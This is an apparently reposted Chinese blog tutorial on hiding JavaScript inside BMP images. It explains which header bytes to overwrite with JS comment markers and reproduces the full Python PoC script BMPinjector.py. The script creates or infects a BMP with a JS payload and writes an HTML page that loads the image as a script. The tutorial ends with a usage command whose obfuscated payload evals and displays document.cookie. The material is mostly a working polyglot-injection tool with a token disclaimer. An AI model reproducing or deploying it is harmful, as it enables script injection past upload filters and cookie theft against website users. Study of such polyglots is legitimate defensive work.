转至http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html(需翻墙）
http://danqingdani.blog.163.com/blog/static/186094195201392303213948/ (中文翻译)
1. 将原BMP文件的第三，第四字节替换为\x2F\x2A， 对应js中的注释符号/*
BMP文件的第三、四、五、六字节表示BMP文件的大小
2. 在BMP文件末尾添加
（1）\xFF
（2）\x2A\x2F,对应的js中的注释符号*/
（3）\x3D\x31\x3B,对应的=1; 是为了伪造成BMP格式
（4）定制的JS代码
BMPinjector.py 代码如下
#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a BMP. ====================================================#
#======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#===========================================================================================================#
import argparse
import os
#---------------------------------------------------------
def _hexify(num):
"""
Converts and formats to hexadecimal
"""
num = "%x" % num
if len(num) % 2:
num = '0'+num
return num.decode('hex')
#---------------------------------------------------------
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
#;alert(_0xe428[0]);"
def _generate_and_write_to_file(payload, fname):
"""
Generates a fake but valid BMP within scriting
"""
f = open(fname, "wb")
header = (b'\x42\x4D' #Signature BM
b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header
b'\x00\x00\x00\x00' #Reserved
b'\x00\x00\x00\x00' #bitmap data offset
b''+ _hexify( len(payload) ) + #bitmap header size
b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
b'\x00\x00' #nb_plan
b'\x00\x00' #nb per pixel
b'\x00\x10\x00\x00' #compression type
b'\x00\x00\x00\x00' #image size .. its ignored
b'\x00\x00\x00\x01' #Horizontal resolution
b'\x00\x00\x00\x01' #Vertial resolution
b'\x00\x00\x00\x00' #number of colors
b'\x00\x00\x00\x00' #number important colors
b'\x00\x00\x00\x80' #palet colors to be complient
b'\x00\x80\xff\x80' #palet colors to be complient
b'\x80\x00\xff\x2A' #palet colors to be complient
b'\x2F\x3D\x31\x3B' #*/=1;
)
# I made this explicit, step by step .
f.write(header)
f.write(payload)
f.close()
return True
#---------------------------------------------------------
def _generate_launching_page(f):
"""
Creates the HTML launching page
"""
htmlpage ="""
<html>
<head><title>Opening an image</title> </head>
<body>
<img src=\"""" + f + """\"\>
<script src= \"""" + f + """\"> </script>
</body>
</html>
"""
html = open("run.html", "wb")
html.write(htmlpage);
html.close()
return True
#---------------------------------------------------------
def _inject_into_file(payload, fname):
"""
Injects the payload into existing BMP
NOTE: if the BMP contains \xFF\x2A might caouse issues
"""
# I know, I can do it all in memory and much more fast.
# I wont do it here.
f = open(fname, "r+b")
b = f.read()
b.replace(b'\x2A\x2F',b'\x00\x00')
f.close()
f = open(fname, "w+b")
f.write(b)
f.seek(2,0)
f.write(b'\x2F\x2A')
f.close()
f = open(fname, "a+b")
f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.close()
return True
#---------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the bmp file name to be generated/or infected")
parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
args = parser.parse_args()
print("""
|======================================================================================================|
| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |
| It is the end user's responsibility to obey all applicable local, state and federal laws. |
| Authors assume no liability and are not responsible for any misuse or damage caused by this program |
|======================================================================================================|
""")
if args.inject_to_existing_bmp:
_inject_into_file(args.js_payload, args.filename)
else:
_generate_and_write_to_file(args.js_payload, args.filename)
_generate_launching_page(args.filename)
print "[+] Finished!"
执行
python BMPinjector.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"
效果如图
